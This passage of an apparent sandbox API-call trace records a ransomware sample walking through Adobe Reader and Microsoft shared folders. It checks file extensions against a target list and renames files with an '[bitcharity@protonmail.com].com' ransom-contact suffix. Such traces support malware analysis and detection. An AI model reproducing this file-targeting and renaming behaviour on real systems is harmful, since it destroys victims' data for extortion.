(lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.709] CloseHandle (hObject=0x11b4) returned 1 [0282.364] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.365] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\desktop-connector-files\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.365] CloseHandle (hObject=0x126c) returned 1 [0283.356] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.356] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.356] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.356] CloseHandle (hObject=0x115c) returned 1 [0283.646] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.646] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.647] CloseHandle (hObject=0x11a8) returned 1 [0283.648] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.648] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.648] CloseHandle (hObject=0x11a8) returned 1 [0283.649] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.649] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.649] CloseHandle (hObject=0x11a8) returned 1 [0283.649] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.650] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.650] CloseHandle (hObject=0x11a8) returned 1 [0283.650] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.650] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.651] CloseHandle (hObject=0x11a8) returned 1 [0283.654] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.654] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.654] CloseHandle (hObject=0x11a8) returned 1 [0283.656] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.656] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.656] CloseHandle (hObject=0x11a8) returned 1 [0283.657] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.657] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.657] CloseHandle (hObject=0x11a8) returned 1 [0283.658] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.658] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.658] CloseHandle (hObject=0x11a8) returned 1 [0283.659] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.659] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.659] CloseHandle (hObject=0x11a8) returned 1 [0283.660] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.660] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.661] CloseHandle (hObject=0x11a8) returned 1 [0283.700] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.700] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\css\\faf-main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\css\\faf-main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.701] CloseHandle (hObject=0x11a8) returned 1 [0283.702] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.702] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\adobe_sign_tag.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\adobe_sign_tag.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.703] CloseHandle (hObject=0x11a8) returned 1 [0283.703] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.704] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\adobe_sign_tag_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\adobe_sign_tag_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.704] CloseHandle (hObject=0x11a8) returned 1 [0283.893] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.893] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\core_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\core_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.893] CloseHandle (hObject=0x11a8) returned 1 [0284.442] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.443] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_delete@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_delete@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.443] CloseHandle (hObject=0x1180) returned 1 [0285.013] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.013] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\dot_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\dot_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.014] CloseHandle (hObject=0x11c8) returned 1 [0285.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706580 | out: hHeap=0x630000) returned 1 [0285.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc50 | out: hHeap=0x630000) returned 1 [0285.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6bcba0 | out: hHeap=0x630000) returned 1 [0285.571] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717770 | out: hHeap=0x630000) returned 1 [0285.572] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x30cc020 | out: hHeap=0x630000) returned 1 [0285.574] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706568 | out: hHeap=0x630000) returned 1 [0285.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9d00 [0285.574] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9d00, Size=0x20) returned 0x3f64730 [0285.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9da8 [0285.575] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9da8, Size=0x20) returned 0x3f646e0 [0285.575] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.575] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.575] Wow64DisableWow64FsRedirection (in: OldValue=0x251ff50 | out: OldValue=0x251ff50*=0x1) returned 1 [0285.575] lstrlenW (lpString="kernel32.dll") returned 12 [0285.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f646e0 | out: hHeap=0x630000) returned 1 [0285.575] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64730 | out: hHeap=0x630000) returned 1 Thread: id = 2564 os_tid = 0x26bc [0241.635] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3243a08 [0241.635] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3253a10 [0241.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706868 [0241.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cdcb0 [0241.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706b20 [0241.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x3b30020 [0241.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706898 [0241.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706898, Size=0x20) returned 0x6e4018 [0241.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706aa8 [0241.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706aa8, Size=0x20) returned 0x6e3de8 [0241.639] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.640] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.640] Wow64DisableWow64FsRedirection (in: OldValue=0x265ff50 | out: OldValue=0x265ff50*=0x0) returned 1 [0241.640] lstrlenW (lpString="kernel32.dll") returned 12 [0241.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.640] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3de8 | out: hHeap=0x630000) returned 1 [0241.640] Sleep (dwMilliseconds=0x64) [0242.046] Sleep (dwMilliseconds=0x64) [0242.262] Sleep (dwMilliseconds=0x64) [0242.570] Sleep (dwMilliseconds=0x64) [0242.844] Sleep (dwMilliseconds=0x64) [0243.170] Sleep (dwMilliseconds=0x64) [0243.498] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.498] lstrlenW (lpString="Alphabet.xml") returned 12 [0243.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.499] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=791421) returned 1 [0243.499] CloseHandle (hObject=0x1130) returned 1 [0243.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0243.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.499] lstrlenW (lpString=".doc") returned 4 [0243.499] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.499] lstrlenW (lpString=".docx") returned 5 [0243.500] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0243.500] lstrlenW (lpString=".pdf") returned 4 [0243.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.500] lstrlenW (lpString=".xls") returned 4 [0243.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.500] lstrlenW (lpString=".xlsx") returned 5 [0243.500] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0243.500] lstrlenW (lpString=".ppt") returned 4 [0243.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.500] lstrlenW (lpString=".zip") returned 4 [0243.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.500] lstrlenW (lpString=".rar") returned 4 [0243.500] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.500] lstrlenW (lpString=".bz2") returned 4 [0243.500] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.500] lstrlenW (lpString=".7z") returned 3 [0243.500] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.500] lstrlenW (lpString=".dbf") returned 4 [0243.500] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.500] lstrlenW (lpString=".1cd") returned 4 [0243.500] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.500] lstrlenW (lpString=".jpg") returned 4 [0243.500] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.501] lstrlenW (lpString=".doc") returned 4 [0243.501] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString=".docx") returned 5 [0243.501] lstrcmpiW 